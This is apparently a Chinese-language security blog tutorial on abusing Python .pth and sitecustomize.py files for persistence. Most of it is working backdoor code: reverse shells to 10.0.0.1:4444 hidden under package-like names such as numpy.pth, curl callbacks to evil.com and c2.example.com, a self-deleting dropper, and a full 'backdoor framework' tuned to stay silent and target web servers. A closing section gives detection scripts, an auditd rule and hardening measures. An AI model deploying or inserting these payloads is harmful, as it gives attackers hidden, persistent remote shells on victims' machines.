前言

Python 在启动时会自动遍历 site-packages 目录下的 .pth 文件并逐行处理。.pth 的设计初衷是路径配置文件——用来把额外的模块搜索路径添加到 sys.path。但 Python 的设计留了一个”后门”:以 import 开头的行会被直接执行。这意味着任何能在 site-packages 下写入 .pth 文件的人,都能在每次 Python 启动时执行任意代码。

作为一种权限维持技术,.pth 后门极其隐蔽——没有新进程、没有 crontab、没有 shell 配置文件篡改,只是一个安静的文本文件。


一、.pth 文件机制

1.1 site.py 的处理流程

Python 启动时,site.py(位于 Lib/site.py)会被自动执行,其中关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# site.py 核心逻辑(简化)

def addsitepackages(known_paths):
"""处理 site-packages 下所有 .pth 文件"""
for sitedir in getsitepackages():
if os.path.isdir(sitedir):
# 遍历目录下所有 .pth 文件
for filename in os.listdir(sitedir):
if filename.endswith('.pth'):
# 逐行处理
for line in open(os.path.join(sitedir, filename)):
line = line.strip()
if line.startswith('#'): # 注释跳过
continue
if line.startswith('import '): # ← 关键!执行这一行
exec(line)
else: # 否则当作路径加入 sys.path
if os.path.exists(line):
sys.path.append(line)

核心规则:

行类型 行为
# 开头 忽略(注释)
import 开头 exec() 执行
其他 当作目录路径,如果存在则加入 sys.path

1.2 site-packages 位置

不同系统和 Python 版本路径不同,常见位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Linux (系统级 Python)
/usr/lib/python3.x/site-packages/
/usr/local/lib/python3.x/dist-packages/

# Linux (虚拟环境)
<venv>/lib/python3.x/site-packages/

# Linux (用户级)
~/.local/lib/python3.x/site-packages/

# Windows
C:\Python3x\Lib\site-packages\
C:\Users\<用户名>\AppData\Roaming\Python\Python3x\site-packages\

# macOS
/Library/Python/3.x/lib/python/site-packages/

查看当前环境 site-packages 位置:

1
2
3
python -c "import site; print(site.getsitepackages())"
# 或
python -c "import sysconfig; print(sysconfig.get_paths()['purelib'])"

二、基础 PoC

2.1 最简单的 .pth 后门

1
2
# 保存到 site-packages/ 目录下,文件名可以是任意 .pth,如 setuptools.pth
import os; os.system('touch /tmp/pwned')

Python 启动即触发:

1
2
python -c "print('hello')"
# 无任何异常输出,但 /tmp/pwned 已经被创建

2.2 反向 Shell 后门

1
2
# /usr/lib/python3.8/site-packages/boost.pth
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])

任何使用了这个 Python 解释器的程序启动时,都会向攻击者反弹 shell。包括但不限于:

  • 用户手动运行 pythonpython3
  • pip install
  • 用 Python 写的系统工具
  • Flask/Django 等 Web 应用
  • Celery 等任务队列 worker
  • 定时任务中的 Python 脚本

2.3 更隐蔽的方式——写入文件再删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 写入后门代码到 Python 启动加载模块,然后从 .pth 中删除自己
import os
backdoor_code = """
import builtins
_orig_exec = builtins.exec
def _backdoor_exec(code, globals=None, locals=None):
import os
try:
os.system('curl http://evil.com/$(whoami)')
except:
pass
return _orig_exec(code, globals, locals)
builtins.exec = _backdoor_exec
"""
# 写入 sitecustomize.py(另一个 Python 启动自动加载的文件)
with open(os.path.join(os.path.dirname(__file__), 'sitecustomize.py'), 'w') as f:
f.write(backdoor_code)
# 删除自身
os.remove(__file__)

一次触发,永久驻留。 .pth 文件只存在了一瞬间,但 sitecustomize.py 会永远留在那里,每次 Python 启动都执行。


三、更多利用方式

3.1 hook builtins.exec —— 透明监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 文件名: python.pth
import builtins,os,time

_orig_exec = builtins.exec

def _hooked_exec(code, globals=None, locals=None):
"""每次 exec() 被调用时记录执行的代码"""
try:
with open('/tmp/.py_log', 'a') as f:
f.write(f"[{time.ctime()}] PID={os.getpid()} CMD={os.readlink('/proc/self/exe')}\n")
f.write(f"{str(code)[:200]}\n{'='*40}\n")
except:
pass
return _orig_exec(code, globals, locals)

builtins.exec = _hooked_exec

这个后门不会影响程序正常运行,但会把所有通过 exec() 执行的代码记录到 /tmp/.py_log——在 CTF 中可用于窃取其他选手的 payload。

3.2 hook subprocess.Popen —— 命令劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 文件名: numpy.pth
import subprocess as _subprocess
import shlex

_orig_popen = _subprocess.Popen

class _BackdoorPopen(_orig_popen):
def __init__(self, args, **kwargs):
# 记录每个被启动的外部命令
try:
with open('/tmp/.cmd_log', 'a') as f:
cmd = args if isinstance(args, str) else ' '.join(args)
f.write(f"{cmd}\n")
except:
pass
super().__init__(args, **kwargs)

_subprocess.Popen = _BackdoorPopen

3.3 定时 beacon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 文件名: pip.pth
import threading,time,os

def beacon():
while True:
try:
# 每 60 秒执行一次回调
os.system('curl -s http://c2.example.com/beat 2>/dev/null &')
except:
pass
time.sleep(60)

t = threading.Thread(target=beacon, daemon=True)
t.start()

daemon=True 确保守护线程不会阻止 Python 进程正常退出。

3.4 fork 后门 —— 避免阻塞启动

1
2
3
4
5
6
7
8
9
# 文件名: wheel.pth
import os
pid = os.fork()
if pid == 0:
# 子进程:执行后门逻辑
os.setsid() # 脱离父进程终端
# ... 反弹 shell、监听端口、C2 通信 ...
os._exit(0)
# 父进程:继续正常启动,不受影响

os.fork() 创建子进程执行后门,父进程正常继续。Python 启动完全不受影响。


四、实战:完整后门框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
保存为: /usr/lib/python3.x/site-packages/<name>.pth

特性:
- 不阻塞 Python 启动(fork 子进程)
- 多种通信方式(反弹 shell / HTTP Beacon / DNS 隧道)
- 自动检测是否在 Docker 容器,决定持久化策略
- 仅在高价值进程(Web 服务、定时任务)中激活
"""

import os
import sys
import time
import socket
import threading


# ====== 配置 ======
C2_HOST = "10.0.0.1"
C2_PORT = 4444
BEACON_INTERVAL = 60 # HTTP beacon 间隔(秒)
PAYLOAD_MODE = "fork" # fork | thread | inline


def is_high_value():
"""判断当前进程是否值得植入"""
try:
cmdline = open('/proc/self/cmdline', 'r').read()
high_value_keywords = [
'gunicorn', 'uwsgi', 'celery', 'flask', 'django',
'uvicorn', 'fastapi', 'pip', 'cron', 'ansible',
]
for kw in high_value_keywords:
if kw in cmdline.lower():
return True
except:
pass
return True # 默认激活(可改为 False 以降低风险)


def reverse_shell():
"""反弹 shell"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((C2_HOST, C2_PORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system('/bin/sh -i')
except:
pass


def http_beacon():
"""HTTP Beacon 模式"""
while True:
try:
import urllib.request
hostname = socket.gethostname()
pid = os.getpid()
urllib.request.urlopen(
f'http://{C2_HOST}:{C2_PORT}/beat?host={hostname}&pid={pid}',
timeout=5
)
except:
pass
time.sleep(BEACON_INTERVAL)


def self_destruct():
"""删除自身 .pth 文件,用 sitecustomize.py 接力"""
try:
import site
for sitedir in site.getsitepackages():
sc_path = os.path.join(sitedir, 'sitecustomize.py')
if not os.path.exists(sc_path):
with open(sc_path, 'w') as f:
f.write('import os\n')
f.write('pid=os.fork()\n')
f.write('if pid==0:\n')
f.write(' os.setsid()\n')
f.write(f' os.system("python -c \\"import socket,os;s=socket.socket();s.connect((\\\"{C2_HOST}\\\",{C2_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system(\\\"/bin/sh\\\")\\"")\n')
f.write(' os._exit(0)\n')
break
os.remove(__file__)
except:
pass


def main():
if not is_high_value():
return

if PAYLOAD_MODE == "fork":
pid = os.fork()
if pid == 0:
os.setsid()
reverse_shell()
os._exit(0)
elif PAYLOAD_MODE == "thread":
t = threading.Thread(target=http_beacon, daemon=True)
t.start()
elif PAYLOAD_MODE == "inline":
reverse_shell()


# ====== 入口 ======
main()
# self_destruct() # 取消注释则触发接力模式

五、环境差异与注意事项

5.1 sitecustomize.py —— 另一个自动加载入口

Python 除了 .pth,还有 sitecustomize.py。它会由 site.py 自动导入执行,位置同样是 site-packages

1
2
3
4
5
6
7
8
9
sitecustomize.py 和 .pth 的区别:
┌───────────────────┬────────────────────────────────┐
│ .pth │ sitecustomize.py │
├───────────────────┼────────────────────────────────┤
│ 逐行处理 │ 完整 Python 模块(导入执行) │
│ 只执行 import 行 │ 所有代码都执行 │
│ 可添加 sys.path │ 不能添加路径 │
│ 文件名任意 │ 文件名固定为 sitecustomize.py │
└───────────────────┴────────────────────────────────┘

组合技: .pth 写入 sitecustomize.py,然后删除自己。

5.2 usercustomize.py —— 用户级入口

用户级 site-packages(~/.local/lib/python3.x/site-packages/)下的 usercustomize.py 也会被自动加载。区别是它只对当前用户有效,不需要 root 权限写入。

1
2
3
# 用户级持久化(无需 root)
echo 'import os;os.system("curl http://evil.com/$(whoami)")' \
>> ~/.local/lib/python3.8/site-packages/usercustomize.py

5.3 虚拟环境

每个虚拟环境都有独立的 site-packages,且虚拟环境的优先级高于系统级。如果目标应用使用虚拟环境:

1
2
# 虚拟环境中的 site-packages
<project>/venv/lib/python3.x/site-packages/

.pth 后门需要写入目标应用使用的那个 Python 环境的 site-packages

5.4 .pth 执行失败不报错

如果 .pth 中的 import 行执行出错,Python 会在 stderr 输出 traceback,但不会阻止启动。这意味着一个写坏的 .pth 后门可能导致:

  • 启动日志中出现可疑的输出(在 Docker/CI 中可能被记录下来)
  • 服务表面正常启动,但 stderr 有报错

建议: 所有 payload 包在 try/except 中,失败时静默。

5.5 Gunicorn / uWSGI 多 worker 场景

Gunicorn 等会 fork 多个 worker,每个 worker 启动时都会重新导入 Python 模块。如果用 fork() 模式,注意判断是否已在父进程环境中:

1
2
3
4
5
6
import os
# Gunicorn 会多次 fork,我们需要在 worker 中执行,而不是 master
ppid = os.getppid()
if ppid != 1: # 父进程不是 init,说明在 worker 中
# 后门逻辑
pass

六、检查与防御

6.1 检查当前环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 列出所有 .pth 文件
python -c "import site; [print(f'{d}/*.pth') for d in site.getsitepackages()]"
find /usr/lib/ -name "*.pth" 2>/dev/null
find /usr/local/lib/ -name "*.pth" 2>/dev/null
find ~/.local/ -name "*.pth" 2>/dev/null

# 查看 .pth 文件内容(关注 import 开头的行)
python -c "
import site, os
for d in site.getsitepackages():
for f in os.listdir(d):
if f.endswith('.pth'):
path = os.path.join(d, f)
with open(path) as fp:
for line in fp:
line = line.strip()
if line.startswith('import ') or line.startswith('import('):
print(f'[!] SUSPICIOUS: {path}: {line}')
"

# 检查 sitecustomize.py / usercustomize.py
find / -name "sitecustomize.py" -o -name "usercustomize.py" 2>/dev/null

6.2 安全加固

措施 说明
只读 site-packages 生产环境将 site-packages 设为只读(chmod -R 555),安装依赖时临时放开
监控 .pth 文件变化 用 auditd / inotify 监控 site-packages 下的 .pth 文件创建和修改
限制 site-packages 写入权限 chattr +i 对关键目录设为 immutable
Python 启动日志 记录 Python 启动时的 stderr,关注 import 执行失败的 traceback
定期扫描 在 CI/CD 中加入对 .pth 文件中 import 行的检测
使用 -S 参数 python -S 跳过 site.py 的加载(不导入 site-packages),用于安全敏感环境

6.3 Auditd 规则示例

1
2
3
4
5
# 监控 site-packages 目录的 .pth 文件变化
auditctl -w /usr/lib/python3.8/site-packages/ -p wa -k python_pth

# 查看相关事件
ausearch -k python_pth

6.4 Python 启动检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
# pth_check.py —— 在启动时作为 cron 运行

import os
import site

def check_pth_files():
suspicious = []
for d in site.getsitepackages():
try:
for f in os.listdir(d):
if not f.endswith('.pth'):
continue
path = os.path.join(d, f)
with open(path) as fp:
for lineno, line in enumerate(fp, 1):
line = line.strip()
if line.startswith('import ') or line.startswith('import('):
suspicious.append((path, lineno, line))
except:
pass

if suspicious:
print('[!] 发现可疑 .pth 条目:')
for path, lineno, line in suspicious:
print(f' {path}:{lineno}{line}')
else:
print('[+] .pth 文件安全')

if __name__ == '__main__':
check_pth_files()

参考